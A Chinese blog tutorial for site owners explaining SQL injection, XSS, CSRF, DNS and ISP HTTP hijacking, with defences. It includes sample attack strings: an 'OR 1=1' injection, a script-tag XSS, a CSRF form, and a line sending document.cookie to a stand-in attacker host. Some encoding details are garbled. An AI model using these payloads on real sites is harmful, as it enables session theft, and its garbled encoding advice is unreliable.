在茫茫的互聯(lián)網(wǎng)上，隨時(shí)都在發(fā)生著攻擊，作為一個(gè)合格的站長(zhǎng)，有必要了解網(wǎng)絡(luò)攻擊者常用的手段，對(duì)于常見的網(wǎng)絡(luò)攻擊和網(wǎng)絡(luò)防護(hù)來說很有必要。

一、SQL注入（SQL injection）

根據(jù)名字, 我們大致可以猜測(cè)到. 這個(gè)攻擊是和sql數(shù)據(jù)庫(kù)相關(guān)的(關(guān)系型數(shù)據(jù)庫(kù)). 系統(tǒng)的解釋一下: sql 注入: 指的是攻擊者注入一段惡意的腳本, 然后執(zhí)行他想要的結(jié)果。 比如: 獲取到該db 里面所有的數(shù)據(jù),刪除數(shù)據(jù)庫(kù)數(shù)據(jù).(由于, 后臺(tái)給前臺(tái)開放的接口通常只是作為查詢使用, 所有 獲取db 所有數(shù)據(jù)這類攻擊比較常見).

實(shí)例攻擊

這類攻擊通常發(fā)生在，后臺(tái)使用動(dòng)態(tài)腳本生成sql query string. 而且, 途中不經(jīng)過混淆處理. 如下:

var name = req.query.userName;   var pass = req.query.password;   
    sql = "SELECT id FROM users WHERE username='" + uname + "' AND password='" + pass + "'";    database.execute(sql);

然后,attacker 可以 寫入如下的sql query string:

"SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1";

即, 將pass寫為: pass’+“OR 1=1”+’; 并, 發(fā)送給服務(wù)端處理. 額… 結(jié)果的話, 你應(yīng)該懂的 上面sql injection 只是 一個(gè)比較友好的 入侵(這算是良心黑客). 如果, 你的sql statement的操作權(quán)限不僅僅只限于查詢, 還包括CRUD操作的話. 那么，hacker 能做的就大了去了.

• 如果你的接口涉及 修改. 當(dāng)hacker, inject 了一段 代碼，破壞你的數(shù)據(jù)的完整性. 這種情況可能造成, 其他查詢時(shí)，會(huì)出現(xiàn)無效查詢的結(jié)果.(void transaction), 甚至返回別人的數(shù)據(jù).

• 如果你的接口 涉及 刪除. 那結(jié)果我就不多說了.

• 另外, 還有一些關(guān)于admin 或者 visitor的權(quán)限分配。 這也是考察數(shù)據(jù)庫(kù)安全性的一個(gè)標(biāo)準(zhǔn).

SQL 防護(hù)

第一類方法， 算是一個(gè)比較笨笨的。 通過一個(gè)blacklists正則匹配, 檢測(cè) query string里面的參數(shù), 將一些可以字符排除掉。

第二類方法，也是最常用的。 使用數(shù)據(jù)庫(kù)自帶的一系列函數(shù)進(jìn)行查詢. 這個(gè)應(yīng)該不用多說， 數(shù)據(jù)庫(kù)自帶庫(kù)的函數(shù) 內(nèi)部 對(duì)參數(shù)的處理，一定比我們重復(fù)造輪子檢測(cè)正確性高~ 比如, mongoDB 中的插入: collection.insertMany([],cb)

二、XSS attack

XSS(Cross-site scripting). 你問我為什么不是CSS? 我也不知道. XSS主要是指跨腳本攻擊, 其實(shí)就相當(dāng)于執(zhí)行js腳本. 經(jīng)常出現(xiàn)在評(píng)論回復(fù)的邏輯頁(yè)面中. 

XSS 原理

我們先理解一下, 評(píng)論回復(fù)的流程. 正常情況下:

1. 用戶評(píng)論的內(nèi)容–comment

2. 異步發(fā)送給Server, server 將其存儲(chǔ)在數(shù)據(jù)庫(kù)中。 成功時(shí), 則返回新加的評(píng)論–comment

3. 此時(shí), 使用

   comment

    將評(píng)論渲染出來.

上面一個(gè)流程可以很容易的說明一個(gè)道理, 即, 沒有對(duì)comment 進(jìn)行任何的處理. 在這種情況下, XSS 簡(jiǎn)直就是如魚得水。 比如:

//comment 為:<script type="text/javascript">console.log(123);</script>
    //渲染出來的內(nèi)容為:<p><script type="text/javascript">console.log(123);</script></p>

最終渲染到頁(yè)面上的結(jié)果是, p里面的內(nèi)容為空，控制臺(tái)輸出了123. 實(shí)際上, 評(píng)論已經(jīng)被保存在數(shù)據(jù)庫(kù)。 當(dāng)其他用戶訪問時(shí)，該評(píng)論中的script 腳本同樣會(huì) 發(fā)生作用.(可怕ing) 這才是, XSS 攻擊最讓人頭疼的地方. 下圖是基本運(yùn)作流程圖: from acunetix 

XSS 其實(shí), 不僅僅只有script 這個(gè)東西可以使用. 凡是涉及用戶輸入并且渲染到頁(yè)面上的，都有可能被XSS。

 比如:

所以上面就是針對(duì)標(biāo)簽屬性進(jìn)行XSS 攻擊. 這類方式的防止很好解決。就是使用setAttribute方法進(jìn)行設(shè)置即可.

XSS 能做什么?

通過將腳本嵌套在正規(guī)頁(yè)面上, 用戶在打開該頁(yè)面時(shí), 根本無法察覺, 自己已經(jīng)變成XSS’s victim. 所以, 當(dāng)用戶打開網(wǎng)站時(shí), malicious 腳本便會(huì)執(zhí)行. 該腳本通常能做的事情:

• 通過document.cookie 獲取用戶的cookie信息. 而且，如果你的token 不是放在Server 端，而是放在用戶cookie中，那么hacker 就完全獲得該用戶的信息, 假冒用戶進(jìn)行登錄. 比如: window.location='http://attacker/?cookie='+document.cookie

• 腳本能夠?qū)缑孢M(jìn)行修改

• 如果頁(yè)面上有用戶輸入的私密信息，比如銀行賬號(hào),密碼等。就可以綁定監(jiān)聽， 并通過ajax將信息發(fā)送給hacker. (跨域完全可以通過CORS解決)

• 使用H5的相關(guān)API, 獲得用戶的人身信息. 比如, 攝像頭, 地理位置等. 當(dāng)然, 用戶也不是傻, 不會(huì)平白無故的就把確認(rèn)點(diǎn)了(使用這些API時(shí), 需要獲取用戶的同意). 但在 social engineering 面前, 這一切都不是事.

• 地址的重定向, 這應(yīng)該不用過多解釋. 只要使用window.location.href即可

prevent XSS attack

現(xiàn)在，我們已經(jīng)知道xss的原理,即, 通過嵌入script腳本, 執(zhí)行惡意的操作. 所以, 最基本的防護(hù)可以分為兩種:

• 驗(yàn)證: 通過驗(yàn)證用戶輸入的內(nèi)容, 是否符合規(guī)則. 防止hacker插入, 惡意代碼.

• Encoding: 其實(shí)就相當(dāng)于字符的轉(zhuǎn)義. 比如: 將’<’ 轉(zhuǎn)換為: &lt. '>'轉(zhuǎn)換為: &gt. (防止插入<script>或者其他tag–< p>< /p>)

• 實(shí)際上, 驗(yàn)證可以分為blacklist 和 whitelist驗(yàn)證. 不過,blacklist 只是作為介紹, 在正式開發(fā)中, 最常使用的應(yīng)該算是whitelist.

• blackList 這種方法其實(shí)就相當(dāng)于枚舉法, 只是, 他猜測(cè)的方向是針對(duì)hacker用戶. 比如. 設(shè)置一個(gè)正則./<script/g. 使用,replace進(jìn)行替換, 或者彈出提醒框.

• whitelist 這和blacklist一樣, 只是里面設(shè)置的是對(duì)正確內(nèi)容的驗(yàn)證. 該方法，主要是注冊(cè)時(shí)候使用。 對(duì)用戶名, 昵稱等信息，使用相關(guān)的正則表達(dá)式進(jìn)行驗(yàn)證。 這就是典型的whitelist 方法.

Encoding: 這個(gè)方法就比較實(shí)誠(chéng)了,沒有浮夸的正則. 有的是一些自定義的convert。

比如上面提到的: Convert & to & Convert < to> to >; Convert " to " Convert ’ to &#x27; Convert / to /

這樣, 可以防止嵌入的scipt腳本執(zhí)行, 使其變?yōu)?data 直接渲染到頁(yè)面上. 下面我們針對(duì)不同的場(chǎng)景具體說明一下, XSS保護(hù)的措施.

針對(duì)標(biāo)簽屬性的XSS防護(hù)

在講解標(biāo)簽防護(hù)之前，我再把上面的XSS attack實(shí)例搬下來:

上面提到了,可以使用setAttribute進(jìn)行內(nèi)部的encoding. 在client-side 還有其他方法可以實(shí)現(xiàn).

對(duì)于URL encoding的選擇簡(jiǎn)而言之就是盡量在操作用戶輸入的數(shù)據(jù)的時(shí)候，減少innerHTML和outerHTML出現(xiàn)的頻次. 這里，還需要對(duì)URL para做一點(diǎn)補(bǔ)充.

對(duì)于encoding的方法,原生js 提供了3個(gè)global Funciton.

• escape()

• encodeURI()

• encodeURIComponent()

實(shí)際上,他們3個(gè)都可以作為encoding的方法. 但是, 既然都可以，那為什么會(huì)有3個(gè)呢？ in fact, 他們的專業(yè)方向還是很不一樣的.

• escape() 該方法主要是對(duì)字符串(string)進(jìn)行編碼(ascii). 所有的空格,標(biāo)點(diǎn),以及任意的非ASCII字符都會(huì)被形如: %xx的替代. 如果 character 的 比特?cái)?shù)>255 則會(huì)使用 %uxxxx來代替–最明顯的例子就是中文. 其中,這幾個(gè)字符@*/+不會(huì)被編碼. 接受的參數(shù)就是string. 即. escape(str); 詳細(xì)demo 可以參考:xkr escape. 其對(duì)應(yīng)的decode的方法是: unescape(); 該方法主要的應(yīng)用場(chǎng)景是對(duì) 傳輸內(nèi)容進(jìn)行轉(zhuǎn)換, 比如插入數(shù)據(jù)庫(kù)的內(nèi)容等. (實(shí)話說，使用頻次還是挺低的)

• encodeURI() 該方法是一個(gè)比較常用的編碼url的方法. 通常,是用來將url字符全部轉(zhuǎn)化為合法字符, 進(jìn)行傳輸. 比如: encodeURI("http://example.com?name=壞人") 輸出的結(jié)果為:http://example.com?name=壞人. encodeURI 不會(huì)對(duì)下列字符進(jìn)行convert:ASCII字母 數(shù)字 ~!@#$&*()=:/,;?+' 對(duì)應(yīng)的decode方法為: decodeURI 主要使用場(chǎng)景有:對(duì)URL進(jìn)行編碼, 以及post方式,指定Content-Type:application/x-www-form-urlencoded 時(shí)，傳輸?shù)膃ncodeURI(str)內(nèi)容.

• encodeURIComponent() 這個(gè)方法最容易和encodeURI 混淆. 實(shí)際上, 該方法只針對(duì)于URI中的 query.(甚至連search部分都不能用,想想都是怕的). 該方法不會(huì)對(duì):ASCII字母 數(shù)字 ~!*()'進(jìn)行convert. 其對(duì)應(yīng)的decode方法有: decodeURIComponent

所以, 在形如. < a href="http://example.com?usrInput">link 我們就需要對(duì)usrInput進(jìn)行encodeURI(), 編碼轉(zhuǎn)化了. 以及,在動(dòng)態(tài)添加styel時(shí),對(duì)于background或者background-url里的, usrInput 進(jìn)行encodeURI().

對(duì)于input內(nèi)容進(jìn)行防護(hù)

這個(gè)主要就是針對(duì)于評(píng)論內(nèi)容了. 不過由于內(nèi)容過于復(fù)雜，這里就不詳述。 大概就是上面的幾點(diǎn)，以及 字符的轉(zhuǎn)化. 推薦使用XSS module 進(jìn)行轉(zhuǎn)化.

CSP之終極防護(hù)

我一直深信著一句話

There is no absolute security system

就算一個(gè)小小的lapse也會(huì)給hacker 可乘之機(jī). 所以, 在進(jìn)行XSS 防護(hù)時(shí), 難免會(huì)有些遺漏, CSP 應(yīng)該算是在hacker 找到漏洞后的一道有力的防線.CSP 我已經(jīng)在我另外一篇博文里面闡述了CSP頁(yè)面防護(hù) CSP的設(shè)計(jì)目的就是為了增強(qiáng)網(wǎng)頁(yè)的安全性,解放程序員和hacker的死磕. 而且,對(duì)于XSS的防護(hù)有這天然的優(yōu)勢(shì). 因?yàn)閄SS,主要就是插入內(nèi)嵌或者 跨域的script 執(zhí)行. 而CSP可以做到的就有:

• 不加載不安全腳本

• 不執(zhí)行內(nèi)聯(lián)腳本

• 不執(zhí)行eval函數(shù)

那, 應(yīng)該如何使用呢? CSP主要和響應(yīng)頭–Content?Security?Policy 相關(guān). 通過server-side 返回Content?Security?Policy 頭，來啟用不同程度的防護(hù)措施. 這里，我們只介紹于XSS相關(guān)的. 通常，我們可以在CSP 頭里設(shè)置一些相關(guān)directive.比如:

• default-src: 默認(rèn)資源設(shè)置, 比如js,css,img,fonts,xhr等

• script-src: 設(shè)置js腳本的相關(guān)方法

• style-src: 設(shè)置css腳本的相關(guān)方法

• img-src: 設(shè)置圖片的相關(guān)方法

• child-src: 設(shè)置iframe的相關(guān)sandbox

• …

不過我們一般只需要了解前4個(gè)即可. 每個(gè)值可以取相關(guān)的屬性.比如: default-src self. 表示默認(rèn)頁(yè)面的資源只能加載同域的內(nèi)容. 我們來著重看一下 default-src 可以設(shè)置的內(nèi)容

1. script?src 'self' scripts.example.com;

2. img?src *;

3. default?src 'self' http://*.example.com

比如: 我們可以設(shè)置 script-src 'self'. 此時(shí), 只允許同域資源. 并且不會(huì)執(zhí)行內(nèi)聯(lián)腳本和eval函數(shù). 如果解除兩者的限制，可以添加上. script-src 'self' 'unsafe-inline'; 另外, 我們還可以設(shè)置跨域腳本的執(zhí)行 script-src 'self' http://example.com 這樣,資源不僅僅可以從同源server-side下載，還可以從example.com 下載. 推薦一個(gè),比較好的CSP頭的設(shè)置內(nèi)容:

那如何啟用CSP呢? 在nginx下,給conf配置文件, 加上如下的內(nèi)容. add_header Content-Security-Policy "default-src 'self';";

CSP參考文獻(xiàn): CSP.com

XSS 參考文獻(xiàn): google 出品 OWASP 防護(hù)

三、CSRF 攻防戰(zhàn)

CSRF or cross-site request forgery or 跨域假冒請(qǐng)求. 他的工作原理是, 通過GET 或者 POST發(fā)送相應(yīng)的信息給一個(gè)信息網(wǎng)站, 比如, 銀行網(wǎng), 信貸網(wǎng), 百合網(wǎng)等. 在發(fā)送過程中, 實(shí)際上該次請(qǐng)求會(huì)帶上你的原本的IP address 和 cookie info. 實(shí)例 假設(shè),網(wǎng)站www.example.com 沒有進(jìn)行CORS(跨域請(qǐng)求設(shè)置), 同意任意域名的訪問,即: Access-Control-Allow-Origin: '*'; 那么, 如果該網(wǎng)站的某個(gè)路由設(shè)置不當(dāng),就有可能發(fā)生CSRF. 

現(xiàn)在, hacker 給 victim 發(fā)送一封 e-HTML 郵件. 

郵件里面有這樣一段內(nèi)容: 

翻譯一下, 就是給jimmy賬戶, 轉(zhuǎn)過去100￥. 當(dāng)然, 前提是, 該接口滿足該方式的訪問. 當(dāng)用戶打開該email時(shí), img會(huì)立即發(fā)送一個(gè)請(qǐng)求。

假設(shè), 你的登錄狀態(tài)(session cookie) 還未過期, 在該請(qǐng)求中，會(huì)一并帶上在https://www.example.com/transfer下存儲(chǔ)的cookie. 相當(dāng)于獲得了你已經(jīng)登錄的權(quán)限, 假冒你進(jìn)行相關(guān)的操作. 但是, referer 里的內(nèi)容是不會(huì)被改變的, 即如果你是從 www.malicious.com 發(fā)的請(qǐng)求, 那么referer 還是 www.malicious.com(提示: 跨域)

so, 不過目前來說,沒有哪位童鞋會(huì)通過 最讓hacker喜歡的get方式, 去傳輸如此重要的信息.而且在get傳輸?shù)臅r(shí)候, 有心的dev也會(huì)做相關(guān)的混淆.

那, CSRF就沒有辦法了么? actually, 沒了get 我還有POST. 不過, 我們這里并不是討論ajax的 跨域post. 因?yàn)閍jax的post請(qǐng)求，只會(huì)發(fā)送當(dāng)前頁(yè)的cookie, 而不會(huì)在瀏覽器中搜索目標(biāo)頁(yè)的cookie. 而且, CSRF的工作環(huán)境是user PC. 而Form 表單發(fā)送就是CSRF最好的post 發(fā)送方式, 即可以帶上cookie, 又可以避免瀏覽器的跨域干涉. 下列是, CSRF常用的幾種方式 那CSRF 中, 通常怎么進(jìn)行POST的發(fā)送呢?

POST’s CSRF

很簡(jiǎn)單,構(gòu)建一個(gè)form表單即可.

<form action="http://example.com" method="POST">
    <input type="text" name="account">
    <input type="text" name="password">
    <input type="submit">
    </form>

將表單插入到你malicious 網(wǎng)頁(yè)內(nèi)部， 利用社工, 誘導(dǎo)用戶進(jìn)入你的頁(yè)面，然后發(fā)送內(nèi)容. 如果你想做的比較隱蔽的話，可以使用iframe, 額外將表單引入, 然后, 自動(dòng)執(zhí)行submit 操作. 現(xiàn)在,hacker都能通過 GET 和POST, 巧妙的獲取用戶的session. 那, how to prevent CSRF?

how to Prevent CSRF

CSRF有3個(gè)特性: 跨域, cookie, 請(qǐng)求方式. 所以，只要阻斷其中一個(gè),那么CSRF 就可以 go die了.

設(shè)置 secert Token

這個(gè)就很好理解了, 即, 前端和后臺(tái)雙方協(xié)定一個(gè)token內(nèi)容 , 或者直接由 back-end 生成 random token. 然后在有請(qǐng)求到來時(shí),server-side 進(jìn)行Token驗(yàn)證.

<form action="https://example.com/tweet" method="POST">
    <input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn" />
    </form>

這里的value 就可以用來作為request有效性的說明. 通常設(shè)置的token也是有講究的, 比如可以使用 指定字符+time來生成, 指定字符+salt生成. 這些Token驗(yàn)證方式，我們都可以自己下去琢磨的。 所以, 就算hacker生成了 form表單, 但是, 他的驗(yàn)證內(nèi)容可能已經(jīng)過期(無效Token). 同樣, 我們還可以在cookie中設(shè)置驗(yàn)證Token. 原理我就不過多介紹了, cookie中設(shè)置的內(nèi)容和上文在form中設(shè)置的其實(shí)差不多. 另外, 還需要注意的是,針對(duì)重要cookie, 需要設(shè)置 httpOnly的選項(xiàng), 防止用戶腳本獲取cookie內(nèi)容.

盡量使用JSON類型傳輸

因?yàn)? form 傳輸?shù)母袷綖? Content-Type: application/x-www-form-urlencoded 而,JSON的傳輸類型為: Content-Type: application/json form 沒有辦法去模仿JSON類型進(jìn)行傳輸，所以，這也是一個(gè)很好的辦法. 另外, 如果不得不使用form表單方式提交, 還有另外一種方式. 我們可以通過request Header中的referrer屬性, 來獲得發(fā)送腳本的地址. 通過whitelist, 來允許指定域的請(qǐng)求訪問.

四、DNS hijacking

關(guān)于DNS劫持, 事實(shí)上更偏向于User,因?yàn)? developer實(shí)際上,對(duì)這個(gè)也無能為力。 我們來簡(jiǎn)述一下,DNS hijack的過程。 

如果大家清楚DNS 的解析過程話,上圖的邏輯就很清楚了。 用戶輸入一個(gè)真域名，向 fake DNS Server 發(fā)起UDP請(qǐng)求，然后, DNS返回一個(gè)malicious的IP地址, 結(jié)果,用戶打開的是一個(gè)全屏廣告,或者是 妹妹寂寞的網(wǎng)頁(yè). actually, 上圖還忽略了一個(gè)很重要的步驟, 就是 用戶如何會(huì)向 fake DNS Server 發(fā)請(qǐng)求的呢？ 實(shí)際上, 這個(gè)鍋，需要用戶背. 以前trojan horse (木馬病毒)盛行的時(shí)候, OS的安全性 真的 有點(diǎn)可憐. 當(dāng)user 下載 來源不明的video,image, software… 很可能會(huì)附帶上蜜汁病毒, 然后,病毒會(huì)修改你的ISP服務(wù)配置, 即, 就是你的DNS提供商的IP地址. 然后, hacker會(huì)將他control的DNS Server 填加進(jìn)去. 那, 我們?cè)鯓硬拍苤雷约罕籬ack了呢？ 很簡(jiǎn)單,google唄.對(duì)于,MAC用戶, 只要找到你的DNS列表，然后對(duì)應(yīng)FBI或者國(guó)家安全網(wǎng)提供的DNSchanger IP對(duì)照一下,如果有就cleanup一下.

DNS hijacking 的危害

雖然DNS hijack的攻擊成本很大, 但是,成功后的profit 也是相當(dāng)大的. hacker 可以將fake的銀行網(wǎng)頁(yè)信息發(fā)給你, 誘騙你的account. 或者 將正確的網(wǎng)頁(yè)緩存, 插入更多的廣告收取廣告費(fèi)用.

how to revent hijack

事實(shí)上, 只有一種辦法，潔身自好~ (你懂的)

五、HTTP(ISP) 劫持

首先,我google了–HTTP 劫持, 結(jié)果, 歪果仁對(duì)于ISP hijacking的認(rèn)識(shí), 還是蠻少的,結(jié)果全是神馬DNS劫持之類的. 后來, 我特么換了中文搜索–http 劫持. 我就不多說了. 看來國(guó)人對(duì)于HTTP 劫持的認(rèn)識(shí)還是超級(jí)深刻啊喂. 原因是什么-- 廣告唄~ 看一個(gè)常見的彈窗廣告:  你可以關(guān)閉他, 但是, 特么每次打開都要關(guān)閉, 超級(jí)煩~ 試想一下, 當(dāng)你打開一個(gè)頁(yè)面, 結(jié)果左側(cè)右側(cè)全是些 iframe廣告, 第一個(gè)反應(yīng)是, 網(wǎng)業(yè)主, 你是不是窮瘋了, 沒事給自己頁(yè)面添這么多廣告是干嘛… 網(wǎng)頁(yè)主 莫名的背鍋. 然后, 只能對(duì)這些小白深深的嘆口氣-- 親, 這不是我干的, 這是電信, 聯(lián)通那些ISP 提供商干的… 所以, 由于沒有完備的網(wǎng)絡(luò)法, 對(duì)于ISP 干的這些齷蹉勾當(dāng)，監(jiān)管局根本不鳥你. 所以, 你懂的.

HTTP 劫持原理

這里我們要清楚一點(diǎn), CN的運(yùn)營(yíng)商并不是hacker, 他不會(huì)這樣或那樣的獲取用戶的信息(我沒說郭嘉的墻), 可能為了商業(yè)目的，會(huì)變得沒有節(jié)操，給你安放一點(diǎn)廣告. 所以, 這里hacker并沒有插入, 沒節(jié)操的只是運(yùn)營(yíng)商. ok~ 我們正式來看一下ISP如何劫持的HTTP流量的:

• 當(dāng)C->S 發(fā)送一個(gè)網(wǎng)頁(yè)請(qǐng)求

• ISP 獲得之后, 給他自己的緩存服務(wù)器

• 如果命中緩存, 則返回已經(jīng)修改過后的頁(yè)面信息(滿屏操?gòu)V告). 如果沒有, 要么是你的網(wǎng)頁(yè)瀏覽量不夠，要么是別人已經(jīng)存滿了，你的網(wǎng)頁(yè)僥幸的沒有被插菊花.

• 命中后,緩存服務(wù)器偽裝為S,給C發(fā)送一個(gè)302(臨時(shí)移動(dòng),告訴你,應(yīng)該從另外一個(gè)地方去取資源). 由于, 這是個(gè)重定向,所以傳輸速度就不用說了, C 就只能乖乖的去緩存服務(wù)器那取資源. 而忽略正確的Server返回的數(shù)據(jù).

之后的事，就是你看到的網(wǎng)頁(yè)了. 那我們有沒有什么防護(hù)措施呢?

HTTP 劫持防護(hù)

首先, 我們需要明確一點(diǎn), 這里的防護(hù)有兩點(diǎn):

• User 對(duì)抗 ISP

• developer 對(duì)抗 ISP

普通用戶的防范

1. 直接和你家網(wǎng)絡(luò)提供商打電話,讓他取消廣告推送.

2. 該方法需要對(duì)技術(shù)有點(diǎn)了解特別是對(duì)網(wǎng)絡(luò)結(jié)構(gòu)模塊有了解–網(wǎng)關(guān),代理,隧道,ip等. 參考:HTTP 防劫持

developer 防范

1. 簡(jiǎn)單有效的方式是,使用HTTPS 加密方式傳輸. 因?yàn)? ISP就是通過抓你的HTTP包，然后分析里面的內(nèi)容，最終得到結(jié)果. 而使用HTTPS 方式, 即使ISP 得到你的HTTPS包,由于有SSL 的加密， 他也不能獲得你的包內(nèi)容.

2. 替換你的js的提供商，使用HTTPS路徑進(jìn)行加載。比如使用七牛的HTTPS提供的腳本服務(wù). 因?yàn)? ISP 不經(jīng)可以結(jié)果你的HTML, 也可以結(jié)果你網(wǎng)頁(yè)中所有的HTTP請(qǐng)求，而js又是最重要的內(nèi)容，所以，把這個(gè)控制到了，那么你網(wǎng)頁(yè)可以抵擋差不多80%的HTTP 劫持.

本文鏈接：http://www.dzldskjx.com/article/327.html